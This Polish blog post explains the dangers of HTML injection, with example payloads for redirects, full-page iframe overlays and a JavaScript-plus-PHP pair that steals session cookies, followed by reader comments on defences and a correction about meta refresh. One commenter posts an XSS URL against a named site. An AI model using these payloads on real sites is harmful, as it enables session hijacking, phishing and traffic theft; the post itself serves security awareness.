Aplikacje internetowe

Bełdziowe spojrzenie na aplikacje internetowe

Niebezpieczeństwo HTML’a

Od dawna w Internecie przyjęło się, że ataki z rodziny HTML Injection są mało groźne i nie warto się nimi przejmować. Potwierdzeniem tego faktu jest ogromna liczba podatnych stron, w skład których wchodzą takie serwisy jak Onet, Wirtualna Polska, Gazeta.pl, a nawet YouTube.

Faktem decydującym o takim stanie rzeczy jest utożsamianie tych ataków z niegroźnymi napisami, obrazkami czy wyskakującymi komunikatami. Poniżej znajduje się kilka przykładów ukazujących co można uzyskać poprzez wykorzystanie ataków z rodziny wstrzyknięć kodu.

Ataki z rodziny wstrzyknięć kodu HTML

Ataki z rodziny wstrzyknięć kodu HTML

Przejęcie domeny

Przejęcie domeny (ruchu) może nastąpić w momencie przekierowania wchodzących użytkowników pod inny adres. Można tego dokonać na kilka sposobów, korzystając z metatagu refresh, ramek lub JavaScript. Najgroźniejszą metodą jest przekierowanie wykorzystujące metatag refresh. Dzieje się tak ponieważ większość wyszukiwarek interpretuje to przekierowanie jako stałe bądź też tymczasowe (301 / 302). Może to skutkować podmianą adresu naszej strony w indeksie wyszukiwarki, czego rezultatem będzie zniknięcie jej z wyników wyszukiwania.

Rezultatem działania kodu JavaScript oraz ramek jest przekierowania ruchu pod inną domenę. W przypadku komercyjnych stron działanie takie może doprowadzić do przekierowania nieświadomych potencjalnych klientów na stronę konkurencji.

<meta http-equiv="refresh" content="0;url=http://www.inny-adres.pl/" />

Opis: Przekierowanie z użyciem metatagu refresh.

<script>
   location.href="http://www.wp.pl/";
</script>

Opis: Przekierowanie z użyciem JavaScript.

<iframe src="http://www.onet.pl" style="position:absolute; width:100%; height:100%; top:0px; left:0px;" />

Opis: Ramka zasłaniająca resztę strony.

Phishing

Jak podaje Wikipedia phishing to

… oszukańcze pozyskanie poufnej informacji osobistej …

Jak wykorzystać to w kwestii HTML Injection? Z przykładowym wykorzystaniem można się zapoznać w notce Phishing w Pasażu Wirtualnej Polski. Jak można w niej zauważyć umiejętne wstrzyknięcie formularza logowania może umożliwić napastnikowi dostęp do poufnych danych użytkownika.

Wykorzystanie błędów aplikacji

Niemal każdego tygodnia Secunia informuje o wykryciu nowych błędów w przeglądarkach internetowych bądź też w dodatkach do nich. Błędów, które wyjątkowo zagrażają bezpieczeństwu użytkowników (ze względu na skalę używalności przeglądarek), a do tego są łatwe do wykonania – wystarczy tylko odpowiednio spreparowany kod HTML.

Łącząc błędy programów z podatnością na atak HTML Injection otrzymujemy możliwość dostępu do większej ilości internautów, a co za tym idzie do zwiększenia skutku ataku.

Przejęcie konta użytkownika

Przejęcia konta użytkownika bez konieczności logowania możliwe jest dzięki kradzieży pliku cookie. Niebezpieczeństwo tego ataku wynika z faktu przechowywania w ciastku identyfikatora sesji, dzięki któremu można powiązać użytkownika z jego kontem. W przypadku gdy agresor podmieni swój identyfikator sesji na identyfikator zalogowanego użytkownika zostanie zidentyfikowany jako właściciel danego konta.

<script type="text/javascript">
  document.write( "<img src='new.php?sesja=" document.cookie "' />" );
</script>

<?php
  file_put_contents( 'plik.txt', $_GET['sesja'] );
?>

Opis: Zestaw skryptów JavaScript oraz PHP umożliwiający kradzież plików cookie.

Wykonanie akcji z uprawieniami zalogowanego użytkownika

Nawet najbardziej wyrafinowane systemy zabezpieczenia kont użytkowników na nic się nie zdadzą jeśli aplikacja będzie podatna na CSRF. Zadaniem CSRF jest wykonanie określonej akcji z uprawnieniami zalogowanego użytkownika. Można to osiągnąć np. ładując dostępną tylko dla zalogowanych użytkownika stronę w ukrytej ramce, odwołując sie do niej poprzez AJAX lub np osadzić ją jako źródło obrazka.

Przykład działania ataku CSRF

Przykład działania ataku CSRF

Przedstawione przeze mnie przykłady nie wyczerpują możliwości ataków HTML Injection. Jedynym ich ogranicznikiem jest wyobraźnia atakującego i stopień podatności serwisu.

Na pytanie czy warto się zabezpieczyć niech każdy odpowie sam.


Tagi: , ,
Kategoria: Bezpieczeństwo, HTML Injection


11 komentarzy

  1. Sauron napisał(a):

    Dobry, a nawet bardzo dobry art…
    Sporo przydatnych informacji i nie tylko… Czy mi się wydaje czy, podobny art o XSS już kiedyś istniał?

    P.S.
    (Do tej ramki z kodem daj highlight_string. Lepiej będzie się czytać. :-))

  2. Sauron napisał(a):

    yyy ;] Nie highlight_string bo to jest do php. ;] Więc lepiej dać geshi :-)

  3. Michał `Bełdzio` Ławicki napisał(a):

    @Sauron kiedyś pisałem o XSS, ale tamten art z perspektywy dnia dzisiejszego jest do bani ;-)

    Geshi postaram się dodać jeszcze dziś :)

  4. jaconon napisał(a):

    Artykuł dobrze przedstawia zagadniejnie jakim jest HTML injection, brawo Bełdzio.

  5. Marcin (Ktos) napisał(a):

    Czy warto się zabezpieczyć to pytanie na które łatwo odpowiedzieć. Pytanie jest jednak inne, na które odpowiedź jest trudna – jak się zabezpieczyć? Usuwać wszystkie znaczniki poza określonymi? A jeżeli dajemy użytkownikom prawa do tworzenia własnych szablonów?

    Ostatnio (no, na początku zeszłego miesiąca) Allegro (oraz eBay) dostały eksperymentem w którym została bardzo ładnie wypozycjonowana warstwa która przysłoniła oryginalny przycisk licytacji prowadziła do strony phishingowej (http://www.webaudit.pl/blog/2007/bojmy-sie-css/). I jak się zabezpieczyć przed tym? Usuwać position: ze wszystkich CSS, nawet tych "inline"?

    Pewną, dobrą całkiem, metodą na pozbycie się zagrożeń związanych z możliwością umieszczenia kodu HTML na stronie jest skorzystanie z jakiegoś popularnego metajęzyka – Textile czy BBCode na przykład. Gdzie jednak może to być zarówno zaletą, jak i wadą, bo nie daje tak bogatych możliwości formatowania treści – aczkolwiek na przykład do komentarzy na blogu wystarczy.

  6. Właśnie dopiero co przeczytałem inny artykuł o XSS i CSRF który uświadomił mi wagę tych zagrożeń. Dla zainteresowanych PHP Solutions 02/06.

    Oczywiście, textile i BBcode są niezłym zabezpieczeniem, bo są interpretowane przez skrypt. Dają małe możliwości? Można zainwestować w rozwój własnego języka prezentacji treści, albo narzędzie WYSIWYG do tworzenie stron aukcyjnych.

  7. mkane napisał(a):

    Bełdzio jak to Ci pokazałem na przykładach meta refresh, przez wyszukiwarki, nie jest traktowany jako 301/302.

  8. Michał `Bełdzio` Ławicki napisał(a):

    Hmmm widocznie oparłem się na jakiś starych źródłach :-) Dzięki za sprostowanie :-)

  9. Michał `Bełdzio` Ławicki napisał(a):

    Źródła okazały się nie takie stare ;-) Zainteresowanych odsyłam do tematu na PiO

  10. Szymon_z_miasta napisał(a):

    Fajne sprostowanie :p

  11. werwerew napisał(a):

    xss jest rowniez na dopalaczach
    http://c-u-t.pl/http_dopalacze_com
    http://dopalacze.com/alert('zazywasz przegrywasz’)
    mozna zrobic pogrom narkomanow

Dodaj komentarz